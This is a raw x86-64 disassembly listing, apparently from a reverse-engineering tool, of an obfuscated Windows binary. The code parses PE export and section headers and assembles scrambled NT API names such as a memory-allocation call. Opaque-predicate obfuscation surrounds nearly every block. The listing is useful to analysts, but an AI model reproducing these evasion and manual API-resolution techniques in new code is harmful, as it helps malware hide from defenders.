mov rcx, qword [rbp + 0x4250]
movsxd rcx, dword [rcx + 0x3c]
movabs rdx, 0xce0c03875401e4ff
add rax, rdx
add rax, rcx
movabs rcx, 0xce0c03875401e4ff
sub rax, rcx
mov qword [rbp + 0x4248], rax
mov rax, qword [rbp + 0x4248]
mov eax, dword [rax + 0x88]
mov dword [rbp + 0x4244], eax
mov rax, qword [rbp + 0x4248]
xor ecx, ecx
sub rcx, 0x18
sub rax, rcx
mov rcx, qword [rbp + 0x4248]
movzx ecx, word [rcx + 0x14]
movabs rdx, 0x2c9a45b0cd3b2ca1
add rax, rdx
add rax, rcx
movabs rcx, 0x2c9a45b0cd3b2ca1
sub rax, rcx
mov qword [rbp + 0x4238], rax
mov rax, qword [rbp + 0x4238]
mov qword [rbp + 0x4230], rax
mov rax, qword [rbp + 0x4238]
mov qword [rbp + 0x4228], rax
mov dword [rbp + 0x4224], 0
mov ecx, dword [0x1401ebfdc]
mov eax, dword [0x1401ec264]
mov edx, ecx
sub edx, 0x66969bc4
sub edx, 1
add edx, 0x66969bc4
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x14000e6d3
jmp 0x140055011
mov eax, dword [rbp + 0x4224]
mov dword [rbp + 0x1be4], eax
mov ecx, dword [0x1401ebfdc]
mov eax, dword [0x1401ec264]
mov edx, ecx
sub edx, 0xc37b2294
sub edx, 1
add edx, 0xc37b2294
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov cl, r11b
xor cl, 0xff
mov r8b, r10b
xor r8b, 0xff
mov dl, 1
xor dl, 0
mov al, cl
and al, 0
and r11b, dl
mov r9b, r8b
and r9b, 0
and r10b, dl
or al, r11b
or r9b, r10b
xor al, r9b
or cl, r8b
xor cl, 0xff
or dl, 0
and cl, dl
or al, cl
test al, 1
jne 0x14000e756
jmp 0x140055011
jmp 0x14000e75b
mov ecx, dword [0x1401ebfdc]
mov eax, dword [0x1401ec264]
mov edx, ecx
sub edx, 0x11ee275f
sub edx, 1
add edx, 0x11ee275f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x14000e79f
jmp 0x140055016
mov rax, qword [rbp + 0x4248]
add rax, 4
mov qword [rbp + 0x1bd8], rax
mov ecx, dword [0x1401ebfdc]
mov eax, dword [0x1401ec264]
mov edx, ecx
sub edx, 0x1a53c6a7
sub edx, 1
add edx, 0x1a53c6a7
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x14000e7f5
jmp 0x140055016
jmp 0x14000e7fa
mov eax, dword [rbp + 0x1be4]
mov rcx, qword [rbp + 0x1bd8]
movzx ecx, word [rcx + 2]
cmp eax, ecx
jge 0x14000e994
mov rax, qword [rbp + 0x4238]
mov qword [rbp + 0x1bd0], rax
mov ecx, dword [0x1401ebfdc]
mov eax, dword [0x1401ec264]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov cl, r11b
xor cl, 0xff
mov r8b, r10b
xor r8b, 0xff
mov dl, 1
xor dl, 0
mov al, cl
and al, 0
and r11b, dl
mov r9b, r8b
and r9b, 0
and r10b, dl
or al, r11b
or r9b, r10b
xor al, r9b
or cl, r8b
xor cl, 0xff
or dl, 0
and cl, dl
or al, cl
test al, 1
jne 0x14000e893
jmp 0x14005501b
mov rcx, qword [rbp + 0x1bd0]
sub rsp, 0x20
lea rdx, str..rdata
call sub.msvcrt.dll_strcmp
add rsp, 0x20
cmp eax, 0
sete al
mov byte [rbp + 0x1bcf], al
mov ecx, dword [0x1401ebfdc]
mov eax, dword [0x1401ec264]
mov edx, ecx
sub edx, 0xead5814b
sub edx, 1
add edx, 0xead5814b
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x14000e8fe
jmp 0x14005501b
jmp 0x14000e903
mov al, byte [rbp + 0x1bcf]
test al, 1
jne 0x14000e916
jmp 0x14000e937
mov rax, qword [rbp + 0x4238]
mov qword [rbp + 0x1bc0], rax
mov rax, qword [rbp + 0x1bc0]
mov qword [rbp + 0x4228], rax
jmp 0x14000e994
mov rax, qword [rbp + 0x4238]
add rax, 0x28
mov qword [rbp + 0x1bb8], rax
mov rax, qword [rbp + 0x1bb8]
mov qword [rbp + 0x4238], rax
jmp 0x14000e95c
mov eax, dword [rbp + 0x4224]
mov dword [rbp + 0x1bb4], eax
mov eax, dword [rbp + 0x1bb4]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 1
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [rbp + 0x1bb0], eax
mov eax, dword [rbp + 0x1bb0]
mov dword [rbp + 0x4224], eax
jmp 0x14000e68f
mov rax, qword [rbp + 0x4258]
mov qword [rbp + 0x1ba0], rax
mov eax, dword [rbp + 0x4244]
mov qword [rbp + 0x1ba8], rax
mov rdx, qword [rbp + 0x1ba8]
mov rcx, qword [rbp + 0x1ba0]
xor eax, eax
sub rax, rcx
xor ecx, ecx
sub rcx, rdx
add rax, rcx
xor ecx, ecx
sub rcx, rax
mov rdx, qword [rbp + 0x4228]
sub rsp, 0x20
call fcn.140001800
add rsp, 0x20
mov qword [rbp + 0x4218], rax
mov ecx, dword [0x1401ebfdc]
mov eax, dword [0x1401ec264]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov cl, r11b
xor cl, 0xff
mov r8b, r10b
xor r8b, 0xff
mov dl, 1
xor dl, 1
mov al, cl
and al, 0xff
and r11b, dl
mov r9b, r8b
and r9b, 0xff
and r10b, dl
or al, r11b
or r9b, r10b
xor al, r9b
or cl, r8b
xor cl, 0xff
or dl, 1
and cl, dl
or al, cl
test al, 1
jne 0x14000ea5c
jmp 0x14005503b
lea rcx, [rbp + 0x3f30]
sub rsp, 0x20
call fcn.1400cb230
add rsp, 0x20
mov ecx, dword [0x1401ebfdc]
mov eax, dword [0x1401ec264]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov cl, r11b
xor cl, 0xff
mov r8b, r10b
xor r8b, 0xff
mov dl, 1
xor dl, 1
mov al, cl
and al, 0xff
and r11b, dl
mov r9b, r8b
and r9b, 0xff
and r10b, dl
or al, r11b
or r9b, r10b
xor al, r9b
or cl, r8b
xor cl, 0xff
or dl, 1
and cl, dl
or al, cl
test al, 1
jne 0x14000eae2
jmp 0x14005503b
sub rsp, 0x20
lea rdx, str.NtAlocaeViruMmy
lea rcx, [rbp + 0x3f38]
lea r8, [rbp + 0x3f30]
call fcn.14010fd20
add rsp, 0x20
jmp 0x14000eb09
sub rsp, 0x20
lea r8, [0x1401bcb01]
lea rcx, [rbp + 0x3f58]
lea rdx, [rbp + 0x3f38]
call fcn.1401233a0
add rsp, 0x20
jmp 0x14000eb30
sub rsp, 0x20
lea r8, [0x1401bcb03]
lea rcx, [rbp + 0x3f78]
lea rdx, [rbp + 0x3f58]
call fcn.1401233a0
add rsp, 0x20
jmp 0x14000eb57
mov ecx, dword [0x1401ebfdc]
mov eax, dword [0x1401ec264]
mov edx, ecx
sub edx, 0x8c2978c3
sub edx, 1
add edx, 0x8c2978c3
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x14000eb9b
jmp 0x140055054
mov ecx, dword [0x1401ebfdc]
mov eax, dword [0x1401ec264]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov cl, r11b
xor cl, 0xff
mov r8b, r10b
xor r8b, 0xff
mov dl, 1
xor dl, 1
mov al, cl
and al, 0xff
and r11b, dl
mov r9b, r8b
and r9b, 0xff
and r10b, dl
or al, r11b
or r9b, r10b
xor al, r9b
or cl, r8b
xor cl, 0xff
or dl, 1
and cl, dl
or al, cl
test al, 1
jne 0x14000ec0d
jmp 0x140055054
sub rsp, 0x20
lea r8, [0x1401bcb05]
lea rcx, [rbp + 0x3f98]
lea rdx, [rbp + 0x3f78]
call fcn.1401233a0
add rsp, 0x20
jmp 0x14000ec34
sub rsp, 0x20
lea r8, [0x1401bcb05]
lea rcx, [rbp + 0x3fb8]
lea rdx, [rbp + 0x3f98]
call fcn.1401233a0
add rsp, 0x20
jmp 0x14000ec5b
sub rsp, 0x20
lea r8, [0x1401bcb07]
lea rcx, [rbp + 0x3fd8]
lea rdx, [rbp + 0x3fb8]
call fcn.1401233a0
add rsp, 0x20
jmp 0x14000ec82
mov ecx, dword [0x1401ebfdc]
mov eax, dword [0x1401ec264]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x14000ecc1
jmp 0x140055059
mov ecx, dword [0x1401ebfdc]
mov eax, dword [0x1401ec264]
mov edx, ecx
sub edx, 0xd27392de
sub edx, 1
add edx, 0xd27392de
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov cl, r11b
xor cl, 0xff
mov r8b, r10b
xor r8b, 0xff
mov dl, 1
xor dl, 0
mov al, cl
and al, 0
and r11b, dl
mov r9b, r8b
and r9b, 0
and r10b, dl
or al, r11b
or r9b, r10b
xor al, r9b
or cl, r8b
xor cl, 0xff
or dl, 0
and cl, dl
or al, cl
test al, 1
jne 0x14000ed38
jmp 0x140055059
sub rsp, 0x20
lea r8, [0x1401bcb09]
lea rcx, [rbp + 0x3ff8]
lea rdx, [rbp + 0x3fd8]
call fcn.1401233a0
add rsp, 0x20
jmp 0x14000ed5f
sub rsp, 0x20
lea r8, [0x1401bcb0b]
lea rcx, [rbp + 0x4018]
lea rdx, [rbp + 0x3ff8]
call fcn.1401233a0
add rsp, 0x20
jmp 0x14000ed86
sub rsp, 0x20
lea r8, [0x1401bcb01]
lea rcx, [rbp + 0x4038]
lea rdx, [rbp + 0x4018]
call fcn.1401233a0
add rsp, 0x20
jmp 0x14000edad
sub rsp, 0x20
lea r8, [0x1401bcb0d]
lea rcx, [rbp + 0x4058]
lea rdx, [rbp + 0x4038]
call fcn.1401233a0
add rsp, 0x20
jmp 0x14000edd4
sub rsp, 0x20
lea r8, [0x1401bcb0f]
lea rcx, [rbp + 0x4078]
lea rdx, [rbp + 0x4058]
call fcn.1401233a0
add rsp, 0x20
jmp 0x14000edfb
mov ecx, dword [0x1401ebfdc]
mov eax, dword [0x1401ec264]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov cl, r11b
xor cl, 0xff
mov r8b, r10b
xor r8b, 0xff
mov dl, 1
xor dl, 0
mov al, cl
and al, 0
and r11b, dl
mov r9b, r8b
and r9b, 0
and r10b, dl
or al, r11b
or r9b, r10b
xor al, r9b
or cl, r8b
xor cl, 0xff
or dl, 0
and cl, dl
or al, cl
test al, 1
jne 0x14000ee6d
jmp 0x14005505e
mov ecx, dword [0x1401ebfdc]
mov eax, dword [0x1401ec264]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov cl, r11b
xor cl, 0xff
mov r8b, r10b
xor r8b, 0xff
mov dl, 1
xor dl, 0
mov al, cl
and al, 0
and r11b, dl
mov r9b, r8b
and r9b, 0
and r10b, dl
or al, r11b
or r9b, r10b
xor al, r9b
or cl, r8b
xor cl, 0xff
or dl, 0
and cl, dl
or al, cl
test al, 1
jne 0x14000eedf
jmp 0x14005505e
sub rsp, 0x20
lea r8, [0x1401bcb11]
lea rcx, [rbp + 0x4098]
lea rdx, [rbp + 0x4078]
call fcn.1401233a0
add rsp, 0x20
jmp 0x14000ef06
sub rsp, 0x20
lea r8, [0x1401bcb13]
lea rcx, [rbp + 0x40b8]
lea rdx, [rbp + 0x4098]
call fcn.1401233a0
add rsp, 0x20
jmp 0x14000ef2d
sub rsp, 0x20
lea r8, [0x1401bcb01]
lea rcx, [rbp + 0x40d8]
lea rdx, [rbp + 0x40b8]
call fcn.1401233a0
add rsp, 0x20
jmp 0x14000ef54
mov ecx, dword [0x1401ebfdc]
mov eax, dword [0x1401ec264]
mov edx, ecx
sub edx, 0xc872527a
sub edx, 1
add edx, 0xc872527a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov cl, r11b
xor cl, 0xff
mov r8b, r10b
xor r8b, 0xff
mov dl, 1
xor dl, 0
mov al, cl
and al, 0
and r11b, dl
mov r9b, r8b
and r9b, 0
and r10b, dl
or al, r11b
or r9b, r10b
xor al, r9b
or cl, r8b
xor cl, 0xff
or dl, 0
and cl, dl
or al, cl
test al, 1
jne 0x14000efcb
jmp 0x140055063
mov ecx, dword [0x1401ebfdc]
mov eax, dword [0x1401ec264]
mov edx, ecx
add edx, 0xb1ec4e76
sub edx, 1
sub edx, 0xb1ec4e76
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x14000f00f
jmp 0x140055063
sub rsp, 0x20
lea r8, [0x1401bcb15]
lea rcx, [rbp + 0x40f8]
lea rdx, [rbp + 0x40d8]
call fcn.1401233a0
add rsp, 0x20
jmp 0x14000f036
sub rsp, 0x20
lea r8, [0x1401bcb0b]
lea rcx, [rbp + 0x4118]
lea rdx, [rbp + 0x40f8]
call fcn.1401233a0
add rsp, 0x20
jmp 0x14000f05d
sub rsp, 0x20
lea r8, [0x1401bcb05]
lea rcx, [rbp + 0x4138]
lea rdx, [rbp + 0x4118]
call fcn.1401233a0
add rsp, 0x20
jmp 0x14000f084
mov ecx, dword [0x1401ebfdc]
mov eax, dword [0x1401ec264]
mov edx, ecx
sub edx, 0x12c9b8b
sub edx, 1
add edx, 0x12c9b8b
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov cl, r11b
xor cl, 0xff
mov r8b, r10b
xor r8b, 0xff
mov dl, 1
xor dl, 0
mov al, cl
and al, 0
and r11b, dl
mov r9b, r8b
and r9b, 0
and r10b, dl
or al, r11b
or r9b, r10b
xor al, r9b
or cl, r8b
xor cl, 0xff
or dl, 0
and cl, dl
or al, cl
test al, 1
jne 0x14000f0fb
jmp 0x140055068
mov ecx, dword [0x1401ebfdc]
mov eax, dword [0x1401ec264]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov cl, r11b
xor cl, 0xff
mov r8b, r10b
xor r8b, 0xff
mov dl, 1
xor dl, 1
mov al, cl
and al, 0xff
and r11b, dl
mov r9b, r8b
and r9b, 0xff
and r10b, dl
or al, r11b
or r9b, r10b
xor al, r9b
or cl, r8b
xor cl, 0xff
or dl, 1
and cl, dl
or al, cl
test al, 1
jne 0x14000f16d
jmp 0x140055068
sub rsp, 0x20
lea r8, [0x1401bcb17]
lea rcx, [rbp + 0x4158]
lea rdx, [rbp + 0x4138]
call fcn.1401233a0
add rsp, 0x20
jmp 0x14000f194
mov ecx, dword [0x1401ebfdc]
mov eax, dword [0x1401ec264]
mov edx, ecx
sub edx, 0x277bff43
sub edx, 1
add edx, 0x277bff43
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov cl, r11b
xor cl, 0xff
mov r8b, r10b
xor r8b, 0xff
mov dl, 1
xor dl, 1
mov al, cl
and al, 0xff
and r11b, dl
mov r9b, r8b
and r9b, 0xff
and r10b, dl
or al, r11b
or r9b, r10b
xor al, r9b
or cl, r8b
xor cl, 0xff
or dl, 1
and cl, dl
or al, cl
test al, 1
jne 0x14000f20b
jmp 0x14005506d
mov ecx, dword [0x1401ebfdc]
mov eax, dword [0x1401ec264]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov cl, r11b
xor cl, 0xff
mov r8b, r10b
xor r8b, 0xff
mov dl, 1
xor dl, 0
mov al, cl
and al, 0
and r11b, dl
mov r9b, r8b
and r9b, 0
and r10b, dl
or al, r11b
or r9b, r10b
xor al, r9b
or cl, r8b
xor cl, 0xff
or dl, 0
and cl, dl
or al, cl
test al, 1
jne 0x14000f27d
jmp 0x14005506d
sub rsp, 0x20
lea r8, [0x1401bcb0d]
lea rcx, [rbp + 0x4178]
lea rdx, [rbp + 0x4158]
call fcn.1401233a0
add rsp, 0x20
jmp 0x14000f2a4
sub rsp, 0x20
lea r8, [0x1401bcb19]
lea rcx, [rbp + 0x4198]
lea rdx, [rbp + 0x4178]
call fcn.1401233a0
add rsp, 0x20
jmp 0x14000f2cb
sub rsp, 0x20
lea r8, [0x1401bcb07]
lea rcx, [rbp + 0x41b8]
lea rdx, [rbp + 0x4198]
call fcn.1401233a0
add rsp, 0x20
jmp 0x14000f2f2
mov ecx, dword [0x1401ebfdc]
mov eax, dword [0x1401ec264]
mov edx, ecx
sub edx, 0x8403e2c6
sub edx, 1
add edx, 0x8403e2c6
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x14000f336
jmp 0x140055072
mov ecx, dword [0x1401ebfdc]
mov eax, dword [0x1401ec264]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov cl, r11b
xor cl, 0xff
mov r8b, r10b
xor r8b, 0xff
mov dl, 1
xor dl, 1
mov al, cl
and al, 0xff
and r11b, dl
mov r9b, r8b
and r9b, 0xff
and r10b, dl
or al, r11b
or r9b, r10b
xor al, r9b
or cl, r8b
xor cl, 0xff
or dl, 1
and cl, dl
or al, cl
test al, 1
jne 0x14000f3a8
jmp 0x140055072
sub rsp, 0x20
lea r8, [0x1401bcb13]
lea rcx, [rbp + 0x41d8]
lea rdx, [rbp + 0x41b8]
call fcn.1401233a0
add rsp, 0x20
jmp 0x14000f3cf
sub rsp, 0x20
lea r8, [0x1401bcb1b]
lea rcx, [rbp + 0x41f8]
lea rdx, [rbp + 0x41d8]
call fcn.1401233a0
add rsp, 0x20
jmp 0x14000f3f6
lea rcx, [rbp + 0x41d8]
sub rsp, 0x20
call fcn.140110070
add rsp, 0x20
lea rcx, [rbp + 0x41b8]
sub rsp, 0x20
call fcn.140110070
add rsp, 0x20
lea rcx, [rbp + 0x4198]
sub rsp, 0x20
call fcn.140110070
add rsp, 0x20
lea rcx, [rbp + 0x4178]
sub rsp, 0x20
call fcn.140110070
add rsp, 0x20
lea rcx, [rbp + 0x4158]
sub rsp, 0x20
call fcn.140110070
add rsp, 0x20
lea rcx, [rbp + 0x4138]
sub rsp, 0x20
call fcn.140110070
add rsp, 0x20
lea rcx, [rbp + 0x4118]
sub rsp, 0x20
call fcn.140110070
add rsp, 0x20
lea rcx, [rbp + 0x40f8]
sub rsp, 0x20
call fcn.140110070
add rsp, 0x20
lea rcx, [rbp + 0x40d8]
sub rsp, 0x20
call fcn.140110070
add rsp, 0x20
lea rcx, [rbp + 0x40b8]
sub rsp, 0x20
call fcn.140110070
add rsp, 0x20
lea rcx, [rbp + 0x4098]
sub rsp, 0x20
call fcn.140110070
add rsp, 0x20
lea rcx, [rbp + 0x4078]
sub rsp, 0x20
call fcn.140110070
add rsp, 0x20
lea rcx, [rbp + 0x4058]
sub rsp, 0x20
call fcn.140110070
add rsp, 0x20
lea rcx, [rbp + 0x4038]
sub rsp, 0x20
call fcn.140110070
add rsp, 0x20
mov ecx, dword [0x1401ebfdc]
mov eax, dword [0x1401ec264]
mov edx, ecx
add edx, 0xb10a289e
sub edx, 1
sub edx, 0xb10a289e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x14000f552
jmp 0x140055077
lea rcx, [rbp + 0x4018]
sub rsp, 0x20
call fcn.140110070
add rsp, 0x20
lea rcx, [rbp + 0x3ff8]
sub rsp, 0x20
call fcn.140110070
add rsp, 0x20
lea rcx, [rbp + 0x3fd8]
sub rsp, 0x20
call fcn.140110070
add rsp, 0x20
lea rcx, [rbp + 0x3fb8]
sub rsp, 0x20
call fcn.140110070
add rsp, 0x20
lea rcx, [rbp + 0x3f98]
sub rsp, 0x20
call fcn.140110070
add rsp, 0x20
lea rcx, [rbp + 0x3f78]
sub rsp, 0x20
call fcn.140110070
add rsp, 0x20
lea rcx, [rbp + 0x3f58]
sub rsp, 0x20
call fcn.140110070
add rsp, 0x20
lea rcx, [rbp + 0x3f38]
sub rsp, 0x20
call fcn.140110070
add rsp, 0x20
lea rcx, [rbp + 0x3f30]
sub rsp, 0x20
call fcn.1400cb260
add rsp, 0x20
mov ecx, dword [0x1401ebfdc]
mov eax, dword [0x1401ec264]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x14000f645
jmp 0x140055077
sub rsp, 0x20
lea rcx, [rbp + 0x3f00]
lea rdx, [rbp + 0x41f8]
call fcn.14010e970
add rsp, 0x20
jmp 0x14000f665
mov rax, qword [rbp + 0x4218]
mov qword [rbp + 0x1b90], rax
mov rax, qword [rbp + 0x4258]
mov qword [rbp + 0x1b98], rax
mov rax, qword [rbp + 0x4230]
mov qword [rbp + 0x1b88], rax
mov r9, qword [rbp + 0x1b88]
mov r8, qword [rbp + 0x1b98]
mov rdx, qword [rbp + 0x1b90]
mov rcx, qword [rbp + 0x4228]
mov r10, qword [rbp + 0x4300]
sub rsp, 0x30
mov rax, rsp
mov qword [rax + 0x28], r10
mov qword [rax + 0x20], rcx
lea rcx, [rbp + 0x3f00]
call fcn.140001a00
add rsp, 0x30
mov dword [rbp + 0x1b84], eax
jmp 0x14000f6dc
lea rcx, [rbp + 0x3f00]
sub rsp, 0x20
call fcn.140110070
mov eax, dword [rbp + 0x1b84]
add rsp, 0x20
mov dword [rbp + 0x3f20], eax
lea rcx, [rbp + 0x41f8]
sub rsp, 0x20
call fcn.1400880a0
add rsp, 0x20
mov qword [rbp + 0x1b78], rax
mov eax, dword [rbp + 0x3f20]
mov dword [rbp + 0x1b80], eax
mov ecx, dword [0x1401ebfdc]
mov eax, dword [0x1401ec264]
mov edx, ecx
add edx, 0xbc708cc0
sub edx, 1
sub edx, 0xbc708cc0
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x14000f767
jmp 0x140055130
mov edx, dword [rbp + 0x1b80]
lea rax, [0x1401bcb35]
lea rcx, [0x1401bcb30]
cmp edx, 0
cmovne rax, rcx
mov qword [rbp + 0x1b70], rax
mov ecx, dword [0x1401ebfdc]
mov eax, dword [0x1401ec264]
mov edx, ecx
add edx, 0xa336e2de
sub edx, 1
sub edx, 0xa336e2de
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov cl, r11b
xor cl, 0xff
mov r8b, r10b
xor r8b, 0xff
mov dl, 1
xor dl, 0
mov al, cl
and al, 0
and r11b, dl
mov r9b, r8b
and r9b, 0
and r10b, dl
or al, r11b
or r9b, r10b
xor al, r9b
or cl, r8b
xor cl, 0xff
or dl, 0
and cl, dl
or al, cl
test al, 1
jne 0x14000f800
jmp 0x140055130
jmp 0x14000f805
mov r8, qword [rbp + 0x1b70]
mov rdx, qword [rbp + 0x1b78]
sub rsp, 0x20
lea rcx, [0x1401bcb1d]
call fcn.140009ac0
add rsp, 0x20
jmp 0x14000f82c
mov ecx, dword [0x1401ebfdc]
mov eax, dword [0x1401ec264]
mov edx, ecx
add edx, 0x3b144a6e
sub edx, 1
sub edx, 0x3b144a6e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov cl, r11b
xor cl, 0xff
mov r8b, r10b
xor r8b, 0xff
mov dl, 1
xor dl, 1
mov al, cl
and al, 0xff
and r11b, dl
mov r9b, r8b
and r9b, 0xff
and r10b, dl
or al, r11b
or r9b, r10b
xor al, r9b
or cl, r8b
xor cl, 0xff
or dl, 1
and cl, dl
or al, cl
test al, 1
jne 0x14000f8a3
jmp 0x140055135
lea rcx, [rbp + 0x3c78]
sub rsp, 0x20
call fcn.1400cb230
add rsp, 0x20
mov ecx, dword [0x1401ebfdc]
mov eax, dword [0x1401ec264]
mov edx, ecx
add edx, 0x642e6ec8
sub edx, 1
sub edx, 0x642e6ec8
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x14000f8fb
jmp 0x140055135
jmp 0x14000f900
sub rsp, 0x20
lea rdx, str.NtAlocaeViruMmy
lea rcx, [rbp + 0x3c80]
lea r8, [rbp + 0x3c78]
call fcn.14010fd20
add rsp, 0x20
jmp 0x14000f927
sub rsp, 0x20
lea r8, [0x1401bcb01]
lea rcx, [rbp + 0x3ca0]
lea rdx, [rbp + 0x3c80]
call fcn.1401233a0
add rsp, 0x20
jmp 0x14000f94e
sub rsp, 0x20
lea r8, str.WPCThdExRsFSngObjQIfpGDw
lea rcx, [rbp + 0x3cc0]
lea rdx, [rbp + 0x3ca0]
call fcn.1401233a0
add rsp, 0x20
jmp 0x14000f975
sub rsp, 0x20
lea r8, [0x1401bcb13]
lea rcx, [rbp + 0x3ce0]
lea rdx, [rbp + 0x3cc0]
call fcn.1401233a0
add rsp, 0x20
jmp 0x14000f99c
sub rsp, 0x20
lea r8, [0x1401bcb11]
lea rcx, [rbp + 0x3d00]
lea rdx, [rbp + 0x3ce0]
call fcn.1401233a0
add rsp, 0x20
jmp 0x14000f9c3
sub rsp, 0x20
lea r8, [0x1401bcb01]
lea rcx, [rbp + 0x3d20]
lea rdx, [rbp + 0x3d00]
call fcn.1401233a0
add rsp, 0x20
jmp 0x14000f9ea
mov ecx, dword [0x1401ebfdc]
mov eax, dword [0x1401ec264]
mov edx, ecx
add edx, 0x44b09e4c
sub edx, 1
sub edx, 0x44b09e4c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x14000fa2e
jmp 0x14005514e
mov ecx, dword [0x1401ebfdc]
mov eax, dword [0x1401ec264]
mov edx, ecx
add edx, 0xcf6eeaf0
sub edx, 1
sub edx, 0xcf6eeaf0
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov cl, r11b
xor cl, 0xff
mov r8b, r10b
xor r8b, 0xff
mov dl, 1
xor dl, 0
mov al, cl
and al, 0
and r11b, dl
mov r9b, r8b
and r9b, 0
and r10b, dl
or al, r11b
or r9b, r10b
xor al, r9b
or cl, r8b
xor cl, 0xff
or dl, 0
and cl, dl
or al, cl
test al, 1
jne 0x14000faa5
jmp 0x14005514e
sub rsp, 0x20
lea r8, [0x1401bcb0d]
lea rcx, [rbp + 0x3d40]
lea rdx, [rbp + 0x3d20]
call fcn.1401233a0
add rsp, 0x20
jmp 0x14000facc
sub rsp, 0x20
lea r8, [0x1401bcb0f]
lea rcx, [rbp + 0x3d60]
lea rdx, [rbp + 0x3d40]
call fcn.1401233a0
add rsp, 0x20
jmp 0x14000faf3
sub rsp, 0x20
lea r8, [0x1401bcb11]
lea rcx, [rbp + 0x3d80]
lea rdx, [rbp + 0x3d60]
call fcn.1401233a0
add rsp, 0x20
jmp 0x14000fb1a
sub rsp, 0x20
lea r8, [0x1401bcb13]
lea rcx, [rbp + 0x3da0]
lea rdx, [rbp + 0x3d80]
call fcn.1401233a0
add rsp, 0x20
jmp 0x14000fb41
mov ecx, dword [0x1401ebfdc]
mov eax, dword [0x1401ec264]
mov edx, ecx
add edx, 0x572b5af9
sub edx, 1
sub edx, 0x572b5af9
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x14000fb85
jmp 0x140055153
mov ecx, dword [0x1401ebfdc]
mov eax, dword [0x1401ec264]
mov edx, ecx
add edx, 0x9abb7d15
sub edx, 1
sub edx, 0x9abb7d15
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x14000fbc9
